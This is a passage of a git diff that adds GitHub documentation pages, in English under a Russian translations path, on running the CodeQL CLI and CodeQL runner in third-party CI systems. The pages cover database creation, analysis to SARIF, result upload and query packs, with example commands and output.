relative to the root of the repository + sarif_file: results.sarif +``` + +## Further reading + +- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" +- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)" +- "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)" +- "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" diff --git a/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md new file mode 100644 index 000000000000..6390bcc50eeb --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md @@ -0,0 +1,60 @@ +--- +title: About CodeQL code scanning in your CI system +shortTitle: Code scanning in your CI +intro: 'You can analyze your code with {% data variables.product.prodname_codeql %} in a third-party continuous integration system and upload the results to {% data variables.location.product_location %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.' +product: '{% data reusables.gated-features.code-scanning %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security + - Code scanning + - CodeQL + - Repositories + - Pull requests + - Integration + - CI + - SARIF +redirect_from: + - /code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system +--- + + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system + +{% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." + +{% data reusables.code-scanning.codeql-context-for-actions-and-third-party-tools %} + + + +{% data reusables.code-scanning.codeql-cli-context-for-third-party-tools %} + +{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} +{% data reusables.code-scanning.about-analysis-origins-link %} +{% endif %} + +{% data reusables.code-scanning.upload-sarif-ghas %} + +## About the {% data variables.product.prodname_codeql_cli %} + +{% data reusables.code-scanning.what-is-codeql-cli %} + +Use the {% data variables.product.prodname_codeql_cli %} to analyze: + +- Dynamic languages, for example, JavaScript and Python. +- Compiled languages, for example, C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java. +- Codebases written in a mixture of languages. + +For more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)." + +{% data reusables.code-scanning.licensing-note %} + + + diff --git a/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md new file mode 100644 index 000000000000..de3bc80cfb8e --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md @@ -0,0 +1,347 @@ +--- +title: Configuring CodeQL CLI in your CI system +shortTitle: Configure CodeQL CLI +intro: 'You can configure your continuous integration system to run the {% data variables.product.prodname_codeql_cli %}, perform {% data variables.product.prodname_codeql %} analysis, and upload the results to {% data variables.product.product_name %} for display as {% data variables.product.prodname_code_scanning %} alerts.' +product: '{% data reusables.gated-features.code-scanning %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Repositories + - Pull requests + - Integration + - CI + - SARIF +--- +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +{% ifversion ghes or ghae %} +{% note %} + +**Note:** This article describes features present in the version of {% data variables.product.prodname_codeql_cli %} available at the time of the release of {% data variables.product.product_name %}. If your enterprise uses a more recent version of {% data variables.product.prodname_codeql_cli %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system) instead. + +{% endnote %} +{% endif %} + +## About generating code scanning results with {% data variables.product.prodname_codeql_cli %} + +Once you've made the {% data variables.product.prodname_codeql_cli %} available to servers in your CI system, and ensured that they can authenticate with {% data variables.product.product_name %}, you're ready to generate data. + +You use three different commands to generate results and upload them to {% data variables.product.product_name %}: + + +1. `database create` to create a {% data variables.product.prodname_codeql %} database to represent the hierarchical structure of each supported programming language in the repository. +2. ` database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. +3. `github upload-results` to upload the resulting SARIF files to {% data variables.product.product_name %} where the results are matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. + +You can display the command-line help for any command using the `--help` option. + +{% data reusables.code-scanning.upload-sarif-ghas %} + +## Creating {% data variables.product.prodname_codeql %} databases to analyze + +1. Check out the code that you want to analyze: + - For a branch, check out the head of the branch that you want to analyze. + - For a pull request, check out either the head commit of the pull request, or check out a {% data variables.product.prodname_dotcom %}-generated merge commit of the pull request. +2. Set up the environment for the codebase, making sure that any dependencies are available. For more information, see [Creating databases for non-compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-non-compiled-languages) and [Creating databases for compiled languages](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#creating-databases-for-compiled-languages) in the documentation for the {% data variables.product.prodname_codeql_cli %}. +3. Find the build command, if any, for the codebase. Typically this is available in a configuration file in the CI system. +4. Run `codeql database create` from the checkout root of your repository and build the codebase. + + ```shell + # Single supported language - create one CodeQL database + codeql database create <database> --command<build> --language=<language-identifier> + + # Multiple supported languages - create one CodeQL database per language + codeql database create <database> --command<build> \ + --db-cluster --language=<language-identifier>,<language-identifier> + ``` + + {% note %} + + **Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_cli %} inside the container where your build task takes place. + + {% endnote %} + +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name and location of a directory to create for the {% data variables.product.prodname_codeql %} database. The command will fail if you try to overwrite an existing directory. If you also specify `--db-cluster`, this is the parent directory and a subdirectory is created for each language analyzed.| +| `--language` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the identifier for the language to create a database for, one of: `{% data reusables.code-scanning.codeql-languages-keywords %}` (use `javascript` to analyze TypeScript code). When used with `--db-cluster`, the option accepts a comma-separated list, or can be specified more than once. +| `--command` | | Recommended. Use to specify the build command or script that invokes the build process for the codebase. Commands are run from the current folder or, where it is defined, from `--source-root`. Not needed for Python and JavaScript/TypeScript analysis. | +| `--db-cluster` | | Optional. Use in multi-language codebases to generate one database for each language specified by `--language`. +| `--no-run-unnecessary-builds` | | Recommended. Use to suppress the build command for languages where the {% data variables.product.prodname_codeql_cli %} does not need to monitor the build (for example, Python and JavaScript/TypeScript). +| `--source-root` | | Optional. Use if you run the CLI outside the checkout root of the repository. By default, the `database create` command assumes that the current directory is the root directory for the source files, use this option to specify a different location. | +| `--codescanning-config` | | Optional (Advanced). Use if you have a configuration file that specifies how to create the {% data variables.product.prodname_codeql %} databases and what queries to run in later steps. For more information, see "[Using a custom configuration file](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-a-custom-configuration-file)" and "[database create](https://codeql.github.com/docs/codeql-cli/manual/database-create/#cmdoption-codeql-database-create-codescanning-config)." | + +For more information, see [Creating {% data variables.product.prodname_codeql %} databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. + +### Single language example + +This example creates a {% data variables.product.prodname_codeql %} database for the repository checked out at `/checkouts/example-repo`. It uses the JavaScript extractor to create a hierarchical representation of the JavaScript and TypeScript code in the repository. The resulting database is stored in `/codeql-dbs/example-repo`. + +``` +$ codeql database create /codeql-dbs/example-repo --language=javascript \ + --source-root /checkouts/example-repo + +> Initializing database at /codeql-dbs/example-repo. +> Running command [/codeql-home/codeql/javascript/tools/autobuild.cmd] + in /checkouts/example-repo. +> [build-stdout] Single-threaded extraction. +> [build-stdout] Extracting +... +> Finalizing database at /codeql-dbs/example-repo. +> Successfully created database at /codeql-dbs/example-repo. +``` + +### Multiple language example + +This example creates two {% data variables.product.prodname_codeql %} databases for the repository checked out at `/checkouts/example-repo-multi`. It uses: + +- `--db-cluster` to request analysis of more than one language. +- `--language` to specify which languages to create databases for. +- `--command` to tell the tool the build command for the codebase, here `make`. +- `--no-run-unnecessary-builds` to tell the tool to skip the build command for languages where it is not needed (like Python). + +The resulting databases are stored in `python` and `cpp` subdirectories of `/codeql-dbs/example-repo-multi`. + +``` +$ codeql database create /codeql-dbs/example-repo-multi \ + --db-cluster --language python,cpp \ + --command make --no-run-unnecessary-builds \ + --source-root /checkouts/example-repo-multi +Initializing databases at /codeql-dbs/example-repo-multi. +Running build command: [make] +[build-stdout] Calling python3 /codeql-bundle/codeql/python/tools/get_venv_lib.py +[build-stdout] Calling python3 -S /codeql-bundle/codeql/python/tools/python_tracer.py -v -z all -c /codeql-dbs/example-repo-multi/python/working/trap_cache -p ERROR: 'pip' not installed. +[build-stdout] /usr/local/lib/python3.6/dist-packages -R /checkouts/example-repo-multi +[build-stdout] [INFO] Python version 3.6.9 +[build-stdout] [INFO] Python extractor version 5.16 +[build-stdout] [INFO] [2] Extracted file /checkouts/example-repo-multi/hello.py in 5ms +[build-stdout] [INFO] Processed 1 modules in 0.15s +[build-stdout] +Finalizing databases at /codeql-dbs/example-repo-multi. +Successfully created databases at /codeql-dbs/example-repo-multi. +$ +``` + +## Analyzing a {% data variables.product.prodname_codeql %} database + +1. Create a {% data variables.product.prodname_codeql %} database (see above). +2. Run `codeql database analyze` on the database and specify which {% ifversion codeql-packs %}packs and/or {% endif %}queries to use. + ```shell + codeql database analyze <database> --format=<format> \ + --output=<output> {% ifversion codeql-packs %}--download <packs,queries>{% else %}<queries>{% endif %} + ``` + +{% note %} + +**Note:** If you analyze more than one {% data variables.product.prodname_codeql %} database for a single commit, you must specify a SARIF category for each set of results generated by this command. When you upload the results to {% data variables.product.product_name %}, {% data variables.product.prodname_code_scanning %} uses this category to store the results for each language separately. If you forget to do this, each upload overwrites the previous results. + +```shell +codeql database analyze <database> --format=<format> \ + --sarif-category=<language-specifier> --output=<output> \ + {% ifversion codeql-packs %}<packs,queries>{% else %}<queries>{% endif %} +``` +{% endnote %} + +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the path for the directory that contains the {% data variables.product.prodname_codeql %} database to analyze. | +| `` | | Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. To see the other query suites included in the {% data variables.product.prodname_codeql_cli %} bundle, look in `//qlpacks/codeql/-queries/codeql-suites`. For information about creating your own query suite, see [Creating CodeQL query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. +| `--format` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the format for the results file generated by the command. For upload to {% data variables.product.company_short %} this should be: {% ifversion fpt or ghae or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." +| `--output` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify where to save the SARIF results file. +| `--sarif-category` | {% octicon "question" aria-label="Required with multiple results sets" %} | Optional for single database analysis. Required to define the language when you analyze multiple databases for a single commit in a repository. Specify a category to include in the SARIF results file for this analysis. A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code.|{% ifversion fpt or ghes > 3.3 or ghae or ghec %} +| `--sarif-add-query-help` | | Optional. Use if you want to include any available markdown-rendered query help for custom queries used in your analysis. Any query help for custom queries included in the SARIF output will be displayed in the code scanning UI if the relevant query generates an alert. For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/#including-query-help-for-custom-codeql-queries-in-sarif-files) in the documentation for the {% data variables.product.prodname_codeql_cli %}.{% endif %}{% ifversion codeql-packs %} +| `` | | Optional. Use if you want to include CodeQL query packs in your analysis. For more information, see "[Downloading and using {% data variables.product.prodname_codeql %} packs](#downloading-and-using-codeql-query-packs)." +| `--download` | | Optional. Use if some of your CodeQL query packs are not yet on disk and need to be downloaded before running queries.{% endif %} +| `--threads` | | Optional. Use if you want to use more than one thread to run queries. The default value is `1`. You can specify more threads to speed up query execution. To set the number of threads to the number of logical processors, specify `0`. +| `--verbose` | | Optional. Use to get more detailed information about the analysis process and diagnostic data from the database creation process. + +For more information, see [Analyzing databases with the {% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. + +### Basic example + +This example analyzes a {% data variables.product.prodname_codeql %} database stored at `/codeql-dbs/example-repo` and saves the results as a SARIF file: `/temp/example-repo-js.sarif`. It uses `--sarif-category` to include extra information in the SARIF file that identifies the results as JavaScript. This is essential when you have more than one {% data variables.product.prodname_codeql %} database to analyze for a single commit in a repository. + +``` +$ codeql database analyze /codeql-dbs/example-repo \ + javascript-code-scanning.qls --sarif-category=javascript \ + --format={% ifversion fpt or ghae or ghec %}sarif-latest{% else %}sarifv2.1.0{% endif %} --output=/temp/example-repo-js.sarif + +> Running queries. +> Compiling query plan for /codeql-home/codeql/qlpacks/codeql-javascript/AngularJS/DisablingSce.ql. +... +> Shutting down query evaluator. +> Interpreting results. +``` + +## Uploading results to {% data variables.product.product_name %} + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +Before you can upload results to {% data variables.product.product_name %}, you must determine the best way to pass the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} you created earlier to the {% data variables.product.prodname_codeql_cli %} (see [Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system#generating-a-token-for-authentication-with-github)). We recommend that you review your CI system's guidance on the secure use of a secret store. The {% data variables.product.prodname_codeql_cli %} supports: + +- Passing the token to the CLI via standard input using the `--github-auth-stdin` option (recommended). +- Saving the secret in the environment variable `GITHUB_TOKEN` and running the CLI without including the `--github-auth-stdin` option. + +When you have decided on the most secure and reliable method for your CI server, run `codeql github upload-results` on each SARIF results file and include `--github-auth-stdin` unless the token is available in the environment variable `GITHUB_TOKEN`. + + ```shell + echo "$UPLOAD_TOKEN" | codeql github upload-results --repository=<repository-name> \ + --ref=<ref> --commit=<commit> --sarif=<file> \ + {% ifversion ghes or ghae %}--github-url=<URL> {% endif %}--github-auth-stdin + ``` + +| Option | Required | Usage | +|--------|:--------:|-----| +| `--repository` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the *OWNER/NAME* of the repository to upload data to. The owner must be an organization within an enterprise that has a license for {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_GH_advanced_security %} must be enabled for the repository{% ifversion fpt or ghec %}, unless the repository is public{% endif %}. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." +| `--ref` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name of the `ref` you checked out and analyzed so that the results can be matched to the correct code. For a branch use: `refs/heads/BRANCH-NAME`, for the head commit of a pull request use `refs/pull/NUMBER/head`, or for the {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request use `refs/pull/NUMBER/merge`. +| `--commit` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the full SHA of the commit you analyzed. +| `--sarif` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the SARIF file to load.{% ifversion ghes or ghae %} +| `--github-url` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the URL for {% data variables.product.product_name %}.{% endif %} +| `--github-auth-stdin` | | Optional. Use to pass the CLI the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. + +For more information, see [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. + +### Basic example + +This example uploads results from the SARIF file `temp/example-repo-js.sarif` to the repository `my-org/example-repo`. It tells the {% data variables.product.prodname_code_scanning %} API that the results are for the commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` on the `main` branch. + +``` +$ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=/temp/example-repo-js.sarif {% ifversion ghes or ghae %}--github-url={% data variables.command_line.git_url_example %} \ + {% endif %}--github-auth-stdin +``` + +There is no output from this command unless the upload was unsuccessful. The command prompt returns when the upload is complete and data processing has begun. On smaller codebases, you should be able to explore the {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} shortly afterward. You can see alerts directly in the pull request or on the **Security** tab for branches, depending on the code you checked out. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" and "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." + +{% ifversion codeql-packs %} +## Downloading and using {% data variables.product.prodname_codeql %} query packs + +{% data reusables.code-scanning.beta-codeql-packs-cli %} + +The {% data variables.product.prodname_codeql_cli %} bundle includes queries that are maintained by {% data variables.product.company_short %} experts, security researchers, and community contributors. If you want to run queries developed by other organizations, {% data variables.product.prodname_codeql %} query packs provide an efficient and reliable way to download and run queries. For more information, see "[About code scanning with CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)." + +Before you can use a {% data variables.product.prodname_codeql %} pack to analyze a database, you must download any packages you require from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}. This can be done either by using the `--download` flag as part of the `codeql database analyze` command. If a package is not publicly available, you will need to use a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} to authenticate. For more information and an example, see "[Uploading results to {% data variables.product.product_name %}](#uploading-results-to-github)" above. + +| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. Optionally, include a path to a query, directory, or query suite to run. If no path is included, then run the default queries of this pack. | +| `--github-auth-stdin` | | Optional. Pass the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. + +### Basic example + +This example runs the `codeql database analyze` command with the `--download` option to: + +1. Download the latest version of the `octo-org/security-queries` pack. +2. Download a version of the `octo-org/optional-security-queries` pack that is *compatible* with version 1.0.1 (in this case, it is version 1.0.2). For more information on semver compatibility, see [npm's semantic version range documentation](https://github.com/npm/node-semver#ranges). +3. Run all the default queries in `octo-org/security-queries`. +4. Run only the query `queries/csrf.ql` from `octo-org/optional-security-queries` + +``` +$ echo $OCTO-ORG_ACCESS_TOKEN | codeql database analyze --download /codeql-dbs/example-repo \ + octo-org/security-queries \ + octo-org/optional-security-queries@~1.0.1:queries/csrf.ql \ + --format=sarif-latest --output=/temp/example-repo-js.sarif + +> Download location: /Users/mona/.codeql/packages +> Installed fresh octo-org/security-queries@1.0.0 +> Installed fresh octo-org/optional-security-queries@1.0.2 +> Running queries. +> Compiling query plan for /Users/mona/.codeql/packages/octo-org/security-queries/1.0.0/potential-sql-injection.ql. +> [1/2] Found in cache: /Users/mona/.codeql/packages/octo-org/security-queries/1.0.0/potential-sql-injection.ql. +> Starting evaluation of octo-org/security-queries/query1.ql. +> Compiling query plan for /Users/mona/.codeql/packages/octo-org/optional-security-queries/1.0.2/queries/csrf.ql. +> [2/2] Found in cache: /Users/mona/.codeql/packages/octo-org/optional-security-queries/1.0.2/queries/csrf.ql. +> Starting evaluation of octo-org/optional-security-queries/queries/csrf.ql. +> [2/2 eval 694ms] Evaluation done; writing results to octo-org/security-queries/query1.bqrs. +> Shutting down query evaluator. +> Interpreting results. +``` + +### Direct download of {% data variables.product.prodname_codeql %} packs + +If you want to download a {% data variables.product.prodname_codeql %} pack without running it immediately, then you can use the `codeql pack download` command. This is useful if you want to avoid accessing the internet when running {% data variables.product.prodname_codeql %} queries. When you run the {% data variables.product.prodname_codeql %} analysis, you can specify packs, versions, and paths in the same way as in the previous example: + +```shell +echo $OCTO-ORG_ACCESS_TOKEN | codeql pack download <scope/name@version:path> <scope/name@version:path> ... +``` + +### Downloading {% data variables.product.prodname_codeql %} packs from multiple {% data variables.product.company_short %} container registries + +If your {% data variables.product.prodname_codeql %} packs reside on multiple container registries, then you must instruct the {% data variables.product.prodname_codeql_cli %} where to find each pack. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors#downloading-codeql-packs-from-github-enterprise-server)." +{% endif %} + +## Example CI configuration for {% data variables.product.prodname_codeql %} analysis + +This is an example of the series of commands that you might use to analyze a codebase with two supported languages and then upload the results to {% data variables.product.product_name %}. + +```shell +# Create CodeQL databases for Java and Python in the 'codeql-dbs' directory +# Call the normal build script for the codebase: 'myBuildScript' + +codeql database create codeql-dbs --source-root=src \ + --db-cluster --language=java,python --command=./myBuildScript + +# Analyze the CodeQL database for Java, 'codeql-dbs/java' +# Tag the data as 'java' results and store in: 'java-results.sarif' + +codeql database analyze codeql-dbs/java java-code-scanning.qls \ + --format=sarif-latest --sarif-category=java --output=java-results.sarif + +# Analyze the CodeQL database for Python, 'codeql-dbs/python' +# Tag the data as 'python' results and store in: 'python-results.sarif' + +codeql database analyze codeql-dbs/python python-code-scanning.qls \ + --format=sarif-latest --sarif-category=python --output=python-results.sarif + +# Upload the SARIF file with the Java results: 'java-results.sarif' + +echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=java-results.sarif --github-auth-stdin + +# Upload the SARIF file with the Python results: 'python-results.sarif' + +echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=python-results.sarif --github-auth-stdin +``` + +## Troubleshooting the {% data variables.product.prodname_codeql_cli %} in your CI system + +### Viewing log and diagnostic information + +When you analyze a {% data variables.product.prodname_codeql %} database using a {% data variables.product.prodname_code_scanning %} query suite, in addition to generating detailed information about alerts, the CLI reports diagnostic data from the database generation step and summary metrics. For repositories with few alerts, you may find this information useful for determining if there are genuinely few problems in the code, or if there were errors generating the {% data variables.product.prodname_codeql %} database. For more detailed output from `codeql database analyze`, use the `--verbose` option. + +For more information about the type of diagnostic information available, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)". + +### {% data variables.product.prodname_code_scanning_capc %} only shows analysis results from one of the analyzed languages + +By default, {% data variables.product.prodname_code_scanning %} expects one SARIF results file per analysis for a repository. Consequently, when you upload a second SARIF results file for a commit, it is treated as a replacement for the original set of data. + +If you want to upload more than one set of results to the {% data variables.product.prodname_code_scanning %} API for a commit in a repository, you must identify each set of results as a unique set. For repositories where you create more than one {% data variables.product.prodname_codeql %} database to analyze for each commit, use the `--sarif-category` option to specify a language or other unique category for each SARIF file that you generate for that repository. + +{% ifversion fpt or ghec or ghes > 3.7 or ghae > 3.7 %} +### Issues with Python extraction + +We are deprecating Python 2 support for the {% data variables.product.prodname_codeql_cli %}, more specifically for the CodeQL database generation phase (code extraction). + +If you use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} on code written in Python, you must make sure that your CI system has Python 3 installed. + +{% endif %} + +## Further reading + +- [Creating CodeQL databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) +- [Analyzing databases with the CodeQL CLI](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) +- [Publishing and using CodeQL packs](https://codeql.github.com/docs/codeql-cli/publishing-and-using-codeql-packs/) diff --git a/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md new file mode 100644 index 000000000000..7f3980e350b1 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md @@ -0,0 +1,216 @@ +--- +title: Configuring CodeQL runner in your CI system +shortTitle: Configure CodeQL runner +intro: 'You can configure how the {% data variables.code-scanning.codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.' +product: '{% data reusables.gated-features.code-scanning %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning-in-your-ci-system + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/configuring-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/configuring-codeql-runner-in-your-ci-system + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system +versions: + feature: codeql-runner-supported +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Integration + - CI + - Repositories + - Pull requests + - C/C++ + - C# + - Java +--- + + +{% data reusables.code-scanning.deprecation-codeql-runner %} +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## About configuring {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system + +To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.code-scanning.codeql_runner %}. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." + +In general, you invoke the {% data variables.code-scanning.codeql_runner %} as follows. + +```shell +$ /path/to-runner/codeql-runner-OS +``` + +`/path/to-runner/` depends on where you've downloaded the {% data variables.code-scanning.codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use. +There are three versions of the {% data variables.code-scanning.codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively. + +To customize the way the {% data variables.code-scanning.codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file. + +## Scanning pull requests + +Scanning code whenever a pull request is created prevents developers from introducing new vulnerabilities and errors into the code. + +To scan a pull request, run the `analyze` command and use the `--ref` flag to specify the pull request. The reference is `refs/pull//head` or `refs/pull//merge`, depending on whether you have checked out the HEAD commit of the pull request branch or a merge commit with the base branch. + +```shell +$ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge +``` + +{% note %} + +**Note**: If you analyze code with a third-party tool and want the results to appear as pull request checks, you must run the `upload` command and use the `--ref` flag to specify the pull request instead of the branch. The reference is `refs/pull//head` or `refs/pull//merge`. + +{% endnote %} + +## Overriding automatic language detection + +The {% data variables.code-scanning.codeql_runner %} automatically detects and scans code written in the supported languages. + +{% data reusables.code-scanning.codeql-languages-bullets %} + +{% data reusables.code-scanning.specify-language-to-analyze %} + +To override automatic language detection, run the `init` command with the `--languages` flag, followed by a comma-separated list of language keywords. The keywords for the supported languages are {% data reusables.code-scanning.codeql-languages-keywords %}. + +```shell +$ /path/to-runner/codeql-runner-linux init --languages cpp,java +``` + +## Running additional queries + +{% data reusables.code-scanning.run-additional-queries %} + +{% data reusables.code-scanning.codeql-query-suites-explanation %} + +To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file. + +If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.code-scanning.codeql_runner %} uses the additional queries specified with the `--queries` flag instead of any in the configuration file. +If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to `--queries` with the `+` symbol. +For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." + +In the following example, the `+` symbol ensures that the {% data variables.code-scanning.codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file. + +```shell 